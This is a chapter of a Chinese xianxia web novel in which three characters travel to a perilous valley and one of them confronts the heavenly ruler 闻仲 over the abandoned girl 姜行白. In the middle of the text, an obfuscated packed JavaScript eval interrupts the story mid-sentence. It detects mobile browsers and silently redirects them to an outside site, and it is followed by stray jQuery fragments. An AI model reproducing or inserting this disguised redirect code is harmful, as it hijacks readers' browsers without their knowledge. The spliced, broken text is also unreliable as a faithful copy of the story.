23. 水生谷

作品:《吾杀神明

    次日一大早,王希夷还在睡梦中,忽而门口一阵剧烈敲门声,他只觉大门都要被人给敲烂了,猛地坐起身来,瞪着门口。


    “王希夷!你在棺材里睡了这么久,还没睡够,还不起来给我们带路去水生谷!”


    王希夷咬着牙,轰然一声掀开门,门口的姜行白一个倾身跌了进来,与他四目相对。


    “亏你在中央天庭待了这么久,天庭礼数是一点没学啊!”


    姜行白直起身,噘嘴左右顾看,主动略过他这话。“一日之计在于晨,你浪费自己的时间不算什么,我们如今可都是凡身□□,与你耗不起。”


    王希夷脸色一黑,这才出了门。


    一出房门,闻玄立在院中,正好循声看来。两人互相看了一眼。


    王希夷扶额,心道这家伙还真沉得住气,与姜行白一路同行,这日子不知得折寿多少。


    三人草草吃过早饭,这就往水生谷走去。一路山清水秀,人也闲少,姜行白一路顾望周遭,一路忍不住感叹,这实在是个归隐的绝好去处。


    王希夷看她一副新奇模样,翻了翻眼皮,“你走路顾看些……”


    闻玄依声瞄了王希夷一眼。


    姜行白笑嘻嘻抱拳道:“多谢关心。”


    王希夷呵呵冷笑两声,“我是叫你别踩着田里的麦草,还有路边林间的野果你也别摘,这可都是酿酒的好资源。”


    姜行白眼神寒凉,瞪人一眼。


    走走停停间,三人终于是行到一处狭窄谷口。两壁是高耸的悬崖,往上看去只见擎天坚壁,绿草覆盖,偶有滴水细流,飞悬于高崖之间,在晨光中灼眼。


    一路走来本也无人,来到此间,更是幽僻。姜行白抬手遮眼,将周围看顾了一遭,指了指狭窄的谷口,问向王希夷:“这便是水生谷?”


    王希夷眯眼,点了点头。


    他这才又将两人打量了一番,好歹洗漱过一番,姜行白又喝了王希夷的仙酒,终于是恢复先前的形貌。她不知从房中哪里寻得一个斗笠,顶在头上,背着桃木剑,一身绯红裙衫,十分的张扬恣意。


    再看闻玄,除去脸色白上几分,而今一身月银长衫,手里握着玲珑玉笛,干净端正,看着是个清白的人。


    姜行白一手在王希夷面前挥了挥,打断他的思索。她端抱着手,斜觑他:“你想什么呢?”


    王希夷摇摇头,没有回应。他指了指方向,对两人道:


    “你们进去这个细谷,谷口上方会有水滴落,”说着,他又拿出一个水壶,递给姜行白,“这东西可以方便你们接水。”


    姜行白看着手里的水壶,一时愣住,“你不与我们一同进去吗?”


    王希夷叹了一口气,“我已经进不去了。”


    “什么意思?”姜行白皱眉盯住他。


    “水生谷不论人神,生前只能进入一次。我很多年前来此取水,已经进过一次了。”王希夷的神情难得有些凝重,他看向姜行白,


    “水生万物,善恶不分,你们进去以后一定要小心……两人一定要结伴,互相照看。”


    “里面有什么怪物?”姜行白拔出背后的剑,问道。


    王希夷低垂了眉目,“没有怪物,只是这谷里阴气重,会诱人神识自噬。”他回溯了一番记忆,呐呐道:“我当时只顾取水,并未在意太多,可等我醒来的时候,我已经损失了大半的神力,身受重伤。”


    姜行白一怔,这才恍然明白他昨夜的话。她抿了抿唇,抬首与闻玄互看了一眼。


    “我知道了。”她神情倒是淡定,紧握着剑,这就与人进了谷。然而才刚走两步,背后的王希夷却忽然又叫住她。


    姜行白回头瞥看他。


    王希夷仰头看了一番天色,捏紧了手:“还有一件事,你们必须在天黑之前出谷,否则就永远出不来了。”


    “什么?!”姜行白瞪着人,捂着脑袋大叫一声,


    “那你今早还敢睡懒觉的!!!”


    王希夷眨眨眼睛,有些无辜:“我这不也是将将才想起来。”


    “王希夷!!!”姜行白气得简直想出来锤人,闻玄扶额,忙地扯住她肩。


    “只能进出一次,你别冲动。”


    姜行白狠狠剜了一眼王希夷,这才又继续进谷。


    王希夷瞧着两人渐渐远去是身影,原本淡然的神情,此刻渐渐凝重起来。他又远退了几步,随后仰头看了看天。


    心中默了半晌,他这才催动神力,施了一道神诀。


    不过片刻,虚空之中浮现一道虚影,来人两道粗眉横斜,眉下一双眼肃然端正。


    见着王希夷,闻仲眼神中闪过一丝意外,他很快收敛了情绪,“难得你肯主动联系我。”


    王希夷面上浮现一丝笑,只是这笑实在浅淡,连敷衍也说不上。“前段时日忙昏了头,睡了许久,这才醒来。”


    闻仲对他这话并不在意,“想必是姜行白的功劳,”又瞥了王希夷一眼,“你既是醒了,就该回天上来了,总待在下界算什么。”


    王希夷眼神一转,略过闻仲这话。他咽下一口水,定睛看向闻仲,语气冷硬:“你如何不将她殒神一事告诉我?”


    他喉中酸涩,面上神情却还很克制:“我只从旁人话语中听过一句,却不知是她,如若知道我定会……”


    闻仲眼神冷冽,凌驾万物的权威无形显现,他打断王希夷,“你知道又如何。”


    王希夷早已习惯他话语里的淡漠,果不其然,只听闻仲继续道:


    “世间因果自有定数,她闯了禁地犯了禁忌,如今得到机缘拥有人身,已然是万幸。”


    不等王希夷再回应,闻仲面色依旧,“你我都不该干预她的事情。”


    王希夷垂下眉眼,忍不住嗤笑一声,笑里满是讽刺。


    闻仲也不恼,淡漠道,“我只依照天上规矩办事。”


    王希夷眼神一眯,冷笑一声,“你这话,倒与当初时候说得一样。”


    当初……


    两人许久不曾回忆当初的事,那个在襁褓中牙牙学语的女婴,在天河中漂流几许,最后被王希夷捡拾到。


    他与闻仲尚且还算是平辈的朋友,莫名其妙捡了个娃,王希夷也是无措,忙地就去找了彼时亦孑然一身的闻仲。


    那时的他,也不过才将将走上天帝之位,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377433|183401||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    可他的性子,却仿佛是与天地威压共同铸就的一般,淡泊,冷性,甚至算得上无情。


    闻仲劝他不要干预这件事。


    时光回溯,闻仲的眼神历时不变,永远那么无动于衷。


    “我不会照顾这个孩子的,也不允许你去看顾她,更不会予她在天庭中一席之位。她是无名因缘之果,自当于天河中自生自灭。”


    王希夷算是初次领略闻仲这位秩序之主的威严。


    只是他没有听从闻仲的话,还是将姜行白留在了天庭。


    后来的事,他便不太清楚了。


    因为他违背了天庭的规矩,天帝罚他去凡间一千年。等到再回天庭时候,姜行白已经长成一个大人了。


    而今再回忆这段往事,王希夷仍旧是对闻仲怀有一种说不清道不明的怨气。


    闻仲却不为所动。他扫了王希夷一眼,随即散了虚影。


    ……


    两人继续往谷中前进了十多步,原本还绿野清幽的情景,越到里面,越显现出一丝诡异气氛。


    山石嶙峋高耸,抬头看去要等脖子快断了才能看到天。入目可见都是悬崖峭壁,看不完全然境况,偶有崖壁上挂着横生的枝木,直叫人惊呼那物长在险境之上,心中一悸。


    周遭是大大小小的石块,路面坎坷不平,好些半人高的石块阻拦住前方,一时间也不知前路几何。地上没有半根杂草。


    姜行白眯眼打量着周围,忽而脚步一歪,不知踩中什么,倾身趔趄,她忙地扯住身边的闻玄,这才没摔一跤。


    “不好意思啊……”姜行白讪讪一笑。


    闻玄瞥她一眼,眼神随意掠过她脚下,忽而眉头一拧,停住脚步。


    姜行白随他看去,等看清脚下之物,也是忍不住张大了嘴,面上讶然。


    她还以为踩中的是块石头,哪里想到,脚下是一颗干枯的头骨。


    两人下意识对望一眼,忙地又将四方地下都仔细审看一番。果不其然,与大大小小各模各样的石块相互夹杂的,还有大大小小的骨头,只是那些骨头似都经历水洗风磨一般,全都被消融了棱角边沿,散落各处。


    头骨、腿骨、手骨、指骨……姜行白仔细辨认着散落各处的骨头,心中越发沉重。看这情形,这里似乎已经死过很多人了。


    两人沉默着依路往前方走,不知是因为地势还是天气的缘故,越到里面,光线越发昏暗,晦暗迷惑心神,悄无声息地诱着两人不断前行,姜行白心里煎熬,脚步却难以自制,眼神走马观花地将周围之景尽皆纳入,她有些后怕,终于是狠心掐破了掌心,这才勉强回过些神。


    姜行白一把扯住闻玄,肃声喝道:“别走了!”


    闻玄恍然间一个回头,这才清醒过来,愣怔看向她。


    两人默契相互背身,打量着周遭。晦暗的深谷仿佛感知到猎物的警惕,幽静笼罩其间,两人再一个眨眼,视野里的四方不断涌现出淡黄色的大雾,原本视线里一眼难尽的山石崖壁,此刻全被遮掩在大雾之外。


    “滴答,滴答,滴答……”


    不知是何处的水滴声,穿透了慑人心神的大雾,敲在姜行白的心头。